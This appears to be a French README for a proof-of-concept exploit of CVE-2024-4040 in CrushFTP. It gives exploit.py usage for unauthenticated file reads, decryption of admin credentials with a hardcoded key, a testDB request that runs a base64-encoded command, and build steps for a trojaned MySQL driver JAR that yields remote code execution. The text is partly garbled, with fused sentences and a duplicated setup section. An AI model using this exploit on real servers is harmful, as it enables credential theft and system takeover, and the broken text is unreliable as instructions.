
Preuve de concept pour CVE-2024-4040 (CrushFTP) permettant la lecture de fichiers non authentifiée, le déchiffrement d'identifiants et l'exécution de code à distance via le téléchargement d'un JAR malveillant et l'abus de testDB.
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. En résumé, la clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.crushadmin n'existe pas, vous pouvez essayer de récupérer CrushFTP.log, qui contient des informations de compte.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java pour le déchiffrer.--shell permet de voir facilement les résultats après RCE. Après avoir téléchargé le fichier jar via la méthode ci-dessous, spécifiez --jar-path et --headers pour voir le résultat de l'exécution de la commande.
--headers doit inclure le Cookie de connexion, par exemple : --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path est /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. S'il se trouve à un emplacement différent, assurez-vous de spécifier le chemin. Les chemins relatifs fonctionnent théoriquement, mais les chemins absolus sont recommandés.exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

User Manager, cliquez sur l'utilisateur à gauche, faites glisser le dossier que vous souhaitez mapper vers User's Stuff, puis ajustez les permissions. Assurez-vous que l'option de téléchargement (upload) est cochée.


testDB qui permet de spécifier un fichier jar et un objet driver, et comme vous pouvez télécharger, combiner les deux permet d'obtenir un RCE.command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user pour l'exécuter.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py et decrypt.java pour obtenir et déchiffrer le mot de passe. La clé est codée en dur, donc vous pouvez la déchiffrer et lire des fichiers arbitrairement.crushadmin, n'existe pas, vous pouvez essayer de récupérer CrushFTP.log pour obtenir des informations de compte.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040